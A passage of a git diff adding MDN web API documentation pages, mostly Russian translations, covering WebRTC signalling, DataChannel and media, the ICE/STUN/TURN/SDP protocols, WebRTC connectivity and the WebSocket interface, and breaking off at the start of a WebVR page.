+<p>When the callback is executed, we must use the signal channel to send the Candidate to the peer. On Chrome, multiple ICE candidates are usually found, we only need one so I typically send the first one then remove the handler. Firefox includes the Candidate in the Offer SDP.</p>
+
+<h3 id="Signal_Channel">Signal Channel</h3>
+
+<p>Now that we have an ICE candidate, we need to send that to our peer so they know how to connect with us. However this leaves us with a chicken and egg situation; we want PeerConnection to send data to a peer but before that we need to send them metadata…</p>
+
+<p>This is where the signal channel comes in. It’s any method of data transport that allows two peers to exchange information. In this article, we’re going to use <a href="http://firebase.com">FireBase</a> because it’s incredibly easy to setup and doesn't require any hosting or server-code.</p>
+
+<p>For now just imagine two methods exist: <code>send()</code> will take a key and assign data to it and <code>recv()</code> will call a handler when a key has a value.</p>
+
+<p>The structure of the database will look like this:</p>
+
+<pre class="brush: js notranslate" lang="json">{
+    "": {
+        "candidate:": …
+        "offer": …
+        "answer": …
+    }
+}</pre>
+
+<p>Connections are divided by a <code>roomId</code> and will store 4 pieces of information, the ICE candidate from the offerer, the ICE candidate from the answerer, the offer SDP and the answer SDP.</p>
+
+<h3 id="Offer">Offer</h3>
+
+<p>An Offer SDP (Session Description Protocol) is metadata that describes to the other peer the format to expect (video, formats, codecs, encryption, resolution, size, etc etc).</p>
+
+<p>An exchange requires an offer from a peer, then the other peer must receive the offer and provide back an answer.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.createOffer(function (offer) {
+    pc.setLocalDescription(offer, function() {
+        send("offer", JSON.stringify(pc.localDescription);
+    }, errorHandler);
+}, errorHandler, options);</pre>
+
+<h4 id="errorHandler"><strong><code>errorHandler</code></strong></h4>
+
+<p>If there was an issue generating an offer, this method will be executed with error details as the first argument.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var errorHandler = function (err) {
+    console.error(err);
+};</pre>
+
+<h5 id="options"><strong><code>options</code></strong></h5>
+
+<p>Options for the offer SDP.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var options = {
+    offerToReceiveAudio: true,
+    offerToReceiveVideo: true
+};</pre>
+
+<p><code>offerToReceiveAudio/Video</code> tells the other peer that you would like to receive video or audio from them. This is not needed for DataChannels.</p>
+
+<p>Once the offer has been generated we must set the local SDP to the new offer and send it through the signal channel to the other peer and await their Answer SDP.</p>
+
+<h3 id="Answer">Answer</h3>
+
+<p>An Answer SDP is just like an offer but a response; sort of like answering the phone. We can only generate an answer once we have received an offer.</p>
+
+<pre class="brush: js notranslate" lang="javascript">recv("offer", function (offer) {
+    offer = new SessionDescription(JSON.parse(offer))
+    pc.setRemoteDescription(offer);
+
+    pc.createAnswer(function (answer) {
+        pc.setLocalDescription(answer, function() {
+            send("answer", JSON.stringify(pc.localDescription));
+        }, errorHandler);
+    }, errorHandler);
+});</pre>
+
+<h3 id="DataChannel">DataChannel</h3>
+
+<p>I will first explain how to use PeerConnection for the DataChannels API and transferring arbitrary data between peers.</p>
+
+<p><em>Note: At the time of this article, interoperability between Chrome and Firefox is not possible with DataChannels. Chrome supports a similar but private protocol and will be supporting the standard protocol soon.</em></p>
+
+<pre class="brush: js notranslate" lang="javascript">var channel = pc.createDataChannel(channelName, channelOptions);</pre>
+
+<p>The offerer should be the peer who creates the channel. The answerer will receive the channel in the callback <code>ondatachannel</code> on PeerConnection. You must call <code>createDataChannel()</code> once before creating the offer.</p>
+
+<h4 id="channelName"><strong><code>channelName</code></strong></h4>
+
+<p>This is a string that acts as a label for your channel name. <em>Warning: Make sure your channel name has no spaces or Chrome will fail on <code>createAnswer()</code>.</em></p>
+
+<h4 id="channelOptions"><strong><code>channelOptions</code></strong></h4>
+
+<pre class="brush: js notranslate" lang="javascript">var channelOptions = {};</pre>
+
+<p>Currently these options are not well supported on Chrome so you can leave this empty for now. Check the <a href="http://dev.w3.org/2011/webrtc/editor/webrtc.html#attributes-7">RFC</a> for more information about the options.</p>
+
+<h4 id="Channel_Events_and_Methods">Channel Events and Methods</h4>
+
+<h5 id="onopen"><strong><code>onopen</code></strong></h5>
+
+<p>Executed when the connection is established.</p>
+
+<h5 id="onerror"><strong><code>onerror</code></strong></h5>
+
+<p>Executed if there is an error creating the connection. First argument is an error object.</p>
+
+<pre class="brush: js notranslate" lang="javascript">channel.onerror = function (err) {
+    console.error("Channel Error:", err);
+};</pre>
+
+<h5 id="onmessage"><strong><code>onmessage</code></strong></h5>
+
+<pre class="brush: js notranslate" lang="javascript">channel.onmessage = function (e) {
+    console.log("Got message:", e.data);
+}</pre>
+
+<p>The heart of the connection. When you receive a message, this method will execute. The first argument is an event object which contains the data, time received and other information.</p>
+
+<h5 id="onclose"><strong><code>onclose</code></strong></h5>
+
+<p>Executed if the other peer closes the connection.</p>
+
+<h4 id="Binding_the_Events"><strong>Binding the Events</strong></h4>
+
+<p>If you were the creator of the channel (meaning the offerer), you can bind events directly to the DataChannel you created with <code>createChannel</code>. If you are the answerer, you must use the <code>ondatachannel</code> callback on PeerConnection to access the same channel.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.ondatachannel = function (e) {
+    e.channel.onmessage = function () { … };
+};</pre>
+
+<p>The channel is available in the event object passed into the handler as <code>e.channel</code>.</p>
+
+<h5 id="send"><strong><code>send()</code></strong></h5>
+
+<pre class="brush: js notranslate" lang="javascript">channel.send("Hi Peer!");</pre>
+
+<p>This method allows you to send data directly to the peer! Amazing. You must send either String, Blob, ArrayBuffer or ArrayBufferView, so be sure to stringify objects.</p>
+
+<h5 id="close"><strong><code>close()</code></strong></h5>
+
+<p>Close the channel once the connection should end. It is recommended to do this on page unload.</p>
+
+<h3 id="Media">Media</h3>
+
+<p>Now we will cover transmitting media such as audio and video. To display the video and audio you must include a <code>&lt;video&gt;</code> tag on the document with the attribute <code>autoplay</code>.</p>
+
+<h4 id="Get_User_Media">Get User Media</h4>
+
+<pre class="brush: js notranslate">&lt;video id="preview" autoplay&gt;&lt;/video&gt;
+
+var video = document.getElementById("preview");
+navigator.getUserMedia(constraints, function (stream) {
+    video.src = URL.createObjectURL(stream);
+}, errorHandler);</pre>
+
+<p><strong><code>constraints</code></strong></p>
+
+<p>Constraints on what media types you want to return from the user.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var constraints = {
+    video: true,
+    audio: true
+};</pre>
+
+<p>If you just want an audio chat, remove the <code>video</code> member.</p>
+
+<h5 id="errorHandler_2"><strong><code>errorHandler</code></strong></h5>
+
+<p>Executed if there is an error returning the requested media.</p>
+
+<h4 id="Media_Events_and_Methods">Media Events and Methods</h4>
+
+<h5 id="addStream"><strong><code>addStream</code></strong></h5>
+
+<p>Add the stream from <code>getUserMedia</code> to the PeerConnection.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.addStream(stream);</pre>
+
+<h5 id="onaddstream"><strong><code>onaddstream</code></strong></h5>
+
+<pre class="brush: js notranslate">&lt;video id="otherPeer" autoplay&gt;&lt;/video&gt;
+
+var otherPeer = document.getElementById("otherPeer");
+pc.onaddstream = function (e) {
+    otherPeer.src = URL.createObjectURL(e.stream);
+};</pre>
+
+<p>Executed when the connection has been setup and the other peer has added the stream to the peer connection with <code>addStream</code>. You need another <code>&lt;video&gt;</code> tag to display the other peer's media.</p>
+
+<p>The first argument is an event object with the other peer's media stream.</p>
diff --git a/files/ru/web/api/webrtc_api/протоколы/index.html b/files/ru/web/api/webrtc_api/протоколы/index.html
new file mode 100644
index 0000000000..df618ab083
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/протоколы/index.html
@@ -0,0 +1,38 @@
+---
+title: Введение в протоколы WebRTC
+slug: Web/API/WebRTC_API/протоколы
+translation_of: Web/API/WebRTC_API/Protocols
+---
+<p>{{APIRef("WebRTC")}}{{draft}}</p>
+
+<p>В этой статье представлены протоколы, поверх которых построен WebRTC API.</p>
+
+<h2 id="ICE">ICE</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment">Interactive Connectivity Establishment (ICE)</a> "Установка интерактивного подключения" представляет собой каркас, позволяющий вашему веб-браузеру соединяться с узлами. Есть много причин, почему прямое соединение от узла A к узлу B просто не будет работать. Оно должно обойти межсетевые экраны, которые будут препятствовать открытию соединений, дать вам уникальный адрес, если, как в большинстве ситуаций, ваше устройство не имеет публичного IP-адреса, и передавать данные через сервер, если ваш маршрутизатор не позволяет вам напрямую соединяться с узлами. ICE использует некоторые из следующих технических приёмов, описанных ниже, для достижения этой цели:</p>
+
+<h2 id="STUN">STUN</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/STUN">Session Traversal Utilities for <u>NAT</u> (STU<u>N</u>)</a> (акроним в акрониме) это протокол для нахождения и определения вашего публичного адреса и любых ограничений в вашем маршрутизаторе, которые препятствуют прямому соединению с узлом.</p>
+
+<p>Клиент отправит запрос к STUN серверу в интернете, который ответит публичным адресом клиента и, доступен ли, или нет, клиент за NAT маршрутизатором.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving a STUN server." src="https://mdn.mozillademos.org/files/6115/webrtc-stun.png" style="display: block; height: 378px; margin: 0px auto; width: 259px;"></p>
+
+<h2 id="NAT">NAT</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/NAT">Network Address Translation (NAT)</a> используется для того, чтобы дать вашему устройству публичный IP-адрес. Маршрутизатор имеет публичный IP-адрес, а каждое устройство, подключённое к маршрутизатору имеет частный IP-адрес. Запросы будут транслированы от частного IP-адреса устройства к публичному IP-адресу маршрутизатора (с уникальным портом). Таким образом вам не нужен уникальный IP-адрес для каждого устройства, тем не менее, оно может быть обнаружено в интернете.</p>
+
+<p>Некоторые маршрутизаторы имеют ограничения на то, кто может подключаться к устройствам в сети. Это может означать, что даже если мы имеем публичный IP-адрес, найденный STUN сервером, никто не может создать соединение. В этой ситуации нам нужно обратиться к TURN.</p>
+
+<h2 id="TURN">TURN</h2>
+
+<p>Некоторые маршрутизаторы, использующие NAT применяют ограничение, называемое "Симметричный NAT" (Symmetric NAT). Это означает, что маршрутизатор будет принимать соединения только от узлов, к которым вы ранее подключились.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/TURN">Traversal Using Relays around NAT (TURN)</a> предназначен для обхода ограничения "Симметричный NAT" путём открытия соединения с TURN сервером и ретрансляции всей информации через этот сервер. Вы создадите соединение с TURN сервером и сообщите всем узлам слать пакеты этому серверу, которые затем будут переправлены вам. Очевидно, что они приходят с некоторыми накладными расходами, поэтому это используется, только если нет других альтернатив.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving STUN and TURN servers." src="https://mdn.mozillademos.org/files/6117/webrtc-turn.png" style="display: block; height: 297px; margin: 0px auto; width: 295px;"></p>
+
+<h2 id="SDP">SDP</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Session_Description_Protocol">Session Description Protocol (SDP)</a>  - это стандарт для описания мультимедийного контента соединения,  как например: разрешение, форматы, кодеки, шифрование и т.д. Так, чтобы оба узла могли понять друг друга, после того как данные начнут передаваться. Это, в сущности, метаданные, описывающие содержимое, а не медиа контент сам по себе.</p>
diff --git a/files/ru/web/api/webrtc_api/связь/index.html b/files/ru/web/api/webrtc_api/связь/index.html
new file mode 100644
index 0000000000..7c4f173c05
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/связь/index.html
@@ -0,0 +1,70 @@
+---
+title: WebRTC подключение
+slug: Web/API/WebRTC_API/связь
+translation_of: Web/API/WebRTC_API/Connectivity
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<p>Теперь, когда мы рассмотрели протоколы по отдельности, мы можем сложить их вместе. Эта статья описывает, как различные связанные с WebRTC протоколы взаимодействуют друг с другом для того, чтобы создать соединение и передать данные и/или медиа между узлами.</p>
+
+<div class="note">
+<p>Эта страница требует серьёзной переделки для структурной целостности и полноты содержания. Много информации здесь - это хорошо, но организация являет собой путаницу, поскольку сейчас являет собой вид "местности разгрузки"(dumping ground).</p>
+</div>
+
+<h2 id="Что_такое_ПредложениеОтвет_и_Канал_сигнализации">Что  такое Предложение/Ответ и Канал сигнализации?</h2>
+
+<p>К сожалению, WebRTC не может создавать соединения без какого-либо сервера посередине. Мы называем его "каналом сигнализации". Это любого рода канал связи для обмена информацией перед установкой соединения, будь то электронная почта, почтовая открытка или почтовый голубь... Зависит от вас.<br>
+  </p>
+
+<p>Информация, которой мы должны обменяться - это "предложение" и "ответ", которые содержат SDP, упомянутую ниже.</p>
+
+<p>Узел A, тот кто будет инициатором соединения, создаст "предложение". Затем отправит это "предложение" узлу B, используя выбранный "сигнальный канал". Узел B получит "предложение" от "сигнального канала" и создаст "ответ". Затем отправит его обратно узлу A посредством "сигнального канала".</p>
+
+<h3 id="Описания_сессии">Описания сессии</h3>
+
+<p>Конфигурация конечной точки WebRTC-соединения называется <strong>"описание сессии"(session description)</strong>. Описание включает информацию о типе посылаемого медиа, его формате, используемом протоколе передачи, IP-адресе и порте конечной точки, и  другую информацию, необходимую для описания конечной точки передачи медиа. Эта информация обменивается и хранится с помощью <strong>"протокола описания сессии". Session Description Protocol</strong>({{Glossary("SDP")}}). Если вы хотите подробную информацию о формате данных SDP, вы можете найти её в {{RFC(2327)}}.</p>
+
+<p>Когда пользователь запускает WebRTC вызов другого пользователя, создаётся специальное описание, называемое <strong>"предложение"(offer)</strong>. Это описание включает всю информацию для соединения, о предлагаемой конфигурации вызывающего абонента. Получатель затем откликается <strong>"ответом"(answer)</strong>, являющимся описанием его конца соединения. Таким образом, оба устройства разделяют друг с другом информацию, необходимую для того, чтобы обмениваться медиа данными. Этот обмен обрабатывается с помощью "интерактивного создания подключения". Interactive Connectivity Establishment{{Glossary("ICE")}}. ICE - протокол, который позволяет двум устройствам использовать посредника для обмена "предложениями"(offers) и "ответами"(answers), даже если эти два устройства разделены механизмом "преобразования сетевых адресов". ({{Glossary("NAT")}}(Network Address Translation).</p>
+
+<p>Каждый узел, тогда, держит два описания под рукой: <strong>локальное описание (local description)</strong>, описывающее себя и <strong>удалённое описание(remote description)</strong>, описывающее другой конец соединения.</p>
+
+<p>Процесс "предложение/ответ"(offer/answer) выполняется как, когда соединение впервые устанавливается, так и в любой момент, когда формат соединения или другая конфигурация нуждается в изменении. Независимо от того, является ли это новым соединением, или реконфигурированием существующего, это основные шаги, которые должны произойти для обмена "предложением"(offer) и "ответом"(answer). Пропустим ICE-слой на данный момент:</p>
+
+<ol>
+ <li>Вызывающий вызывает {{domxref("RTCPeerConnection.createOffer()")}} для создания "предложения"(offer)</li>
+ <li>Вызывающий вызывает {{domxref("RTCPeerConnection.setLocalDescription()")}} для установки этого "предложения" как локального описания (то есть описания локального конца соединения).</li>
+ <li>Вызывающий использует сигнальный сервер для передачи "предложения" к требуемому получателю вызова.</li>
+ <li>Получатель получает "предложение" и вызывает {{domxref("RTCPeerConnection.setRemoteDescription()")}} для записи его, как удалённого описания(описания другого конца соединения).</li>
+ <li>Получатель делает всякую настройку, которую должен сделать для его конца соединения, включая добавления исходящих потоков для соединения.</li>
+ <li>Получатель затем создаёт "ответ"(answer) посредством вызова {{domxref("RTCPeerConnection.createAnswer()")}}.</li>
+ <li>Получатель вызывает {{domxref("RTCPeerConnection.setLocalDescription()")}}, чтобы установить "ответ"(answer) в качестве локального описания. Получатель теперь знает конфигурацию обоих концов соединения.</li>
+ <li>Получатель использует сигнальный сервер для отправки "ответа"(answer) вызывающему.</li>
+ <li>Вызывающий получает "ответ"(answer).</li>
+ <li>Вызывающий вызывает {{domxref("RTCPeerConnection.setRemoteDescription()")}} для установки "ответа"(answer) как удалённого описания для его конца соединения. Теперь известна конфигурация обоих узлов. Медиа начинает течь в соответствии с настройками.</li>
+</ol>
+
+<h3 id="Рассматриваемые_и_текущие_описания">Рассматриваемые и текущие описания</h3>
+
+<p>Спускаясь на один шаг глубже в процесс, мы находим, что localDescription и remoteDescription, свойства, возвращаемые эти двумя описаниями, не так просты, как выглядят. Потому что во время повторных переговоров(перезаключения) (renegotiation), "предложение"(offer) может быть отклонено, поскольку оно предлагает несовместимый формат. Необходимо, чтобы каждая конечная точка имела возможность предложить новый формат, но не переключаться на него, пока он не принят другим узлом. По этой причине, WebRTC использует <em>"рассматриваемые"</em> и <em>"текущие"</em> "описания".</p>
+
+<p><strong>"Текущее описание"(current description)</strong> (которое возвращается свойствами {{domxref("RTCPeerConnection.currentLocalDescription")}} и {{domxref("RTCPeerConnection.currentRemoteDescription")}}) представляет собой описание, в данный момент, фактически используемое соединением. Это самое недавнее соединение, которое обе стороны полностью согласились использовать.</p>
+
+<p><strong>"Рассматриваемое описание"(pending description)</strong> (возвращаемое {{domxref("RTCPeerConnection.pendingLocalDescription")}} и {{domxref("RTCPeerConnection.pendingRemoteDescription")}}) указывает на то описание, которое в настоящий момент находится на рассмотрении после вызова setLocalDescription() или setRemoteDescription(), соответственно.</p>
+
+<p>При чтении описания (возвращаемого {{domxref("RTCPeerConnection.localDescription")}} и {{domxref("RTCPeerConnection.remoteDescription")}}), возвращаемым значением является значение pendingLocalDescription/pendingRemoteDescription, если есть рассматриваемое описание (то есть, рассматриваемое описание не null). В противном случае, возвращается текущее описание (currentLocalDescription/currentRemoteDescription).</p>
+
+<p>При изменении описания путём вызова setLocalDescription() или setRemoteDescription(), указанное описание устанавливается как "рассматриваемое описание"(pending description), и WebRTC-слой начинает оценивать, действительно ли это приемлемо. После того, как предложенное описание было согласовано, значение currentLocalDescription или currentRemoteDescription изменяется на "рассматриваемое описание"(pending description), и pending description устанавливается снова в null, указывая, что "отложенного описания"(pending description) не существует.</p>
+
+<div class="note">
+<p>pendingLocalDescription содержит не только "предложение" или "ответ" на стадии рассмотрения, но и каких-либо ICE-кандидатов, которые уже были собраны с тех пор, как "предложение" или "ответ" были созданы. Подобным образом, pendingRemoteDescription включает любых удалённых ICE-кандидатов, которые были предоставлены вызовами {{domxref("RTCPeerConnection.addIceCandidate()")}}.</p>
+</div>
+
+<p>Смотрите отдельные статьи по этим свойствам и методам для большей конкретики.</p>
+
+<h2 id="Что_такое_ICE-кандидат">Что такое ICE-кандидат?</h2>
+
+<p>В дополнение к обмену информацией о медиа(обсуждённой выше в offer/answer и SDP), узлы должны обменяться информацией о сетевом соединении. Об этом известно как о ICE-кандидате и деталях доступных методов, которыми узел может общаться (непосредственно или через TURN-сервер).</p>
+
+<h2 id="Весь_обмен_в_сложной_схеме">Весь обмен в сложной схеме</h2>
+
+<p><a href="https://hacks.mozilla.org/wp-content/uploads/2013/07/webrtc-complete-diagram.png"><img alt="A complete architectural diagram showing the whole WebRTC process." src="https://mdn.mozillademos.org/files/6119/webrtc-complete-diagram.png" style="display: block; height: 559px; margin: 0px auto; width: 641px;"></a></p>
diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html
new file mode 100644
index 0000000000..ab46ff35dc
--- /dev/null
+++ b/files/ru/web/api/websocket/index.html
@@ -0,0 +1,281 @@
+---
+title: WebSocket
+slug: Web/API/WebSocket
+tags:
+  - API
+  - WebSocket
+  - WebSockets
+translation_of: Web/API/WebSocket
+---
+<p>Объект <strong>WebSocket </strong>предоставляет API для создания и управления <a href="/ru/WebSockets">вебсокет</a>-подключения к серверу, а также для отправки и получения данных в этом подключении.</p>
+
+<p>Конструктор WebSocket принимает один обязательный и один опциональный параметр:</p>
+
+<pre>WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString protocols
+);
+
+WebSocket WebSocket(
+  in DOMString url,
+  in optional DOMString[] protocols
+);
+</pre>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>URL-адрес к которому подключаться; сервер по этому адресу должен ответить на websocket-запрос.</dd>
+ <dt><code>protocols</code> {{ optional_inline() }}</dt>
+ <dd>Протокол в виде строки или массив строк протоколов. Эти строки используются для определения подпротоколов клиента, т.к. один сервер может поддерживать несколько WebSocket-подпротоколов (например, вы можете захотеть, чтобы один сервер мог обрабатывать разные типы взаимодействия в зависимости от указанного протокола).  Если вы не укажете значение протокола, по умолчанию будет использоваться пустая строка.</dd>
+</dl>
+
+<p>Конструктор может выбросить исключение:</p>
+
+<dl>
+ <dt><code>SECURITY_ERR</code></dt>
+ <dd>Порт, на который устанавливается подключение заблокирован.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Method_overview" name="Method_overview">Обзор метода</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#close()">close</a>(in optional unsigned long code, in optional DOMString reason);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#send()">send</a>(in DOMString data);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Аттрибуты"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Аттрибуты</strong></span></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Аттрибут</td>
+   <td class="header">Тип</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>binaryType</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>Строка, указывающая на тип двоичных данных, которые будут переданы по соединению. Это может быть "blob" если будут использованы {{ domxref("Blob") }} объекты или "arraybuffer" если будут использованы объекты <a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a> </td>
+  </tr>
+  <tr>
+   <td><code>bufferedAmount</code></td>
+   <td><code><a href="/en/unsigned_long" title="en/unsigned long">unsigned long</a></code></td>
+   <td>Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но еще не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать  {{ manch("send") }}, значение будет расти. <strong>Только чтение.</strong></td>
+  </tr>
+  <tr>
+   <td><code>extensions</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>Расширения, выбранные сервером. В настоящее время это только пустая строка или список расширений, согласованных соединением.</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>Обработчик событий, вызываемый, когда <code>readyState </code>WebSocket соединения изменяется на <code>CLOSED</code>. Наблюдатель получает <a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent"><code>CloseEvent</code></a> с именем "close".</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>
+    <p>Обработчик событий, вызываемый, когда происходит ошибка. Это простое событие, называемое "error".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onmessage</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>
+    <p>Обработчик событий , вызываемый, когда получается сообщение с сервера. Наблюдатель получает <code><a href="/en/WebSockets/WebSockets_reference/MessageEvent" title="en/WebSockets/WebSockets reference/MessageEvent">MessageEvent</a></code>,  называемое "message".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>onopen</code></td>
+   <td>{{ domxref("EventListener") }}</td>
+   <td>
+    <p>Наблюдатель событий, вызываемый, когда <code>readyState</code> WebSocket - соединения изменяется на <code>OPEN</code>; это показывает, что соединение готово отсылать и принимать данные. Это простое событие, называемое "open".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>protocol</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>
+    <p>Строка, обозначающая имя подпротокола выбранного сервера; это будет одной из строк, указываемой в параметре <code>protocols</code> при создании WebSocket - объекта.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>readyState</code></td>
+   <td><code><a href="/en/unsigned_short" title="en/unsigned short">unsigned short</a></code></td>
+   <td>
+    <p>Текущее состояние подключения; это одно из {{ anch("Ready state constants") }}. <strong>Только для чтения</strong><strong>.</strong></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>url</code></td>
+   <td>{{ DOMXref("DOMString") }}</td>
+   <td>
+    <p>URL, создаваемый конструктором. Это всегда абсолютный URL. <strong>Только для чтения.</strong></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constants" name="Constants">Константы</h2>
+
+<h3 id="Константы_состояния_готовности">Константы состояния готовности</h3>
+
+<p>Эти константы используются аттрибутом <code>readyState</code> для описания состояния WebSocket - подключения</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Константа</td>
+   <td class="header">Значение</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>CONNECTING</code></td>
+   <td><code>0</code></td>
+   <td>Соединение ещё не открыто.</td>
+  </tr>
+  <tr>
+   <td><code>OPEN</code></td>
+   <td><code>1</code></td>
+   <td>Соединение открыто и готово к обмену данными.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSING</code></td>
+   <td><code>2</code></td>
+   <td>Соединение в процессе закрытия.</td>
+  </tr>
+  <tr>
+   <td><code>CLOSED</code></td>
+   <td><code>3</code></td>
+   <td>Соединение закрыто или не может открыться.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Mетоды</h2>
+
+<h3 id="close" name="close()">close()</h3>
+
+<p>Закрывает WebSocket - подключение или заканчивает попытку подключения. Если подключение уже закрыто, этот метод не делает ничего.</p>
+
+<pre class="eval">void close(
+  in optional unsigned short code,
+  in optional DOMString reason
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметры</h6>
+
+<dl>
+ <dt><code>code</code> {{ optional_inline() }}</dt>
+ <dd>Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершен"). Смотрите <a href="/en/WebSockets/WebSockets_reference/CloseEvent#Status_codes" title="en/WebSockets/WebSockets reference/CloseEvent#Status codes">list of status codes</a> для <code><a href="/en/WebSockets/WebSockets_reference/CloseEvent" title="en/WebSockets/WebSockets reference/CloseEvent">CloseEvent</a></code>, чтобы узнать разрешенные значения.</dd>
+ <dt><code>reason</code> {{ optional_inline() }}</dt>
+ <dd>Читаемая человеком строка, объясняющая, почему подключение закрывается. Строка должна быть не длиннее, чем 123 байта UTF-8 текста (<strong>не</strong> символов). </dd>
+</dl>
+
+<h6 id="Возможные_исключения">Возможные исключения</h6>
+
+<dl>
+ <dt><code>INVALID_ACCESS_ERR</code></dt>
+ <dd>Указан неверный <code>code</code>.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Строка <code>reason</code> слишком длинные или содержит непарные суррогаты.</dd>
+</dl>
+
+<h6 id="Заметки">Заметки</h6>
+
+<p>В Gecko этот метод не поддерживает никакие параметры включительно до Gecko 8.0 {{ geckoRelease("8.0") }}.</p>
+
+<h3 id="send" name="send()">send()</h3>
+
+<p>Передает данные на сервер через WebSocket - соединение.</p>
+
+<pre class="eval">void send(
+  in DOMString data
+);
+
+void send(
+  in ArrayBuffer data
+);
+
+void send(
+  in Blob data
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметры</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Текстовая строка, которая будет отправлена на сервер.</dd>
+</dl>
+
+<h6 id="Возможные_исключения_2">Возможные исключения</h6>
+
+<dl>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>Соединение еще не открыто.</dd>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Строка <code>data</code> содержит непарные суррогаты</dd>
+</dl>
+
+<div class="note">
+<p><strong>Заметьте:</strong> Gecko - реализация метода <code>send()</code> несколько отличается от специфицированной в {{Gecko("6.0")}}; Gecko возвращает <code>boolean</code>, обозначающий, открыто ли соединение до сих пор (и, в дополнение, были ли доставлены данные); это было исправлено в {{Gecko("8.0")}}.</p>
+
+<p>Начиная с {{Gecko("11.0")}}, поддержка <code><a href="/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer">ArrayBuffer</a></code> была реализована, но не {{ domxref("Blob") }} типы данных.</p>
+</div>
+
+<h2 id="See_also" name="See_also">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td> <strong>Спецификация</strong></td>
+   <td><strong>Статус</strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "web-sockets.html#the-websocket-interface", "WebSocket")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Пример</h2>
+
+<pre class="brush: js"><code>// Создает WebSocket - подключение.
+const socket = new WebSocket('ws://localhost:8080');
+
+// Соединение открыто
+socket.addEventListener('open', function (event) {
+    socket.send('Hello Server!');
+});
+
+// Наблюдает за сообщениями
+socket.addEventListener('message', function (event) {
+    console.log('Message from server ', event.data);
+});</code></pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.WebSocket")}}</p>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li><a href="/en/WebSockets/Writing_WebSocket_client_applications" title="en/WebSockets/Writing WebSocket client applications">Writing WebSocket client applications</a></li>
+ <li><a class="external" href="http://dev.w3.org/html5/websockets/" title="http://dev.w3.org/html5/websockets/">HTML5: WebSockets</a></li>
+</ul>
diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html
new file mode 100644
index 0000000000..ee513c37d0
--- /dev/null
+++ b/files/ru/web/api/webvr_api/index.html
@@ -0,0 +1,246 @@
+---
+title: WebVR API
+slug: Web/API/WebVR_API
+translation_of: Web/API/WebVR_API
+---
+<div>{{SeeCompatTable}}{{APIRef("WebVR API")}}</div>
+
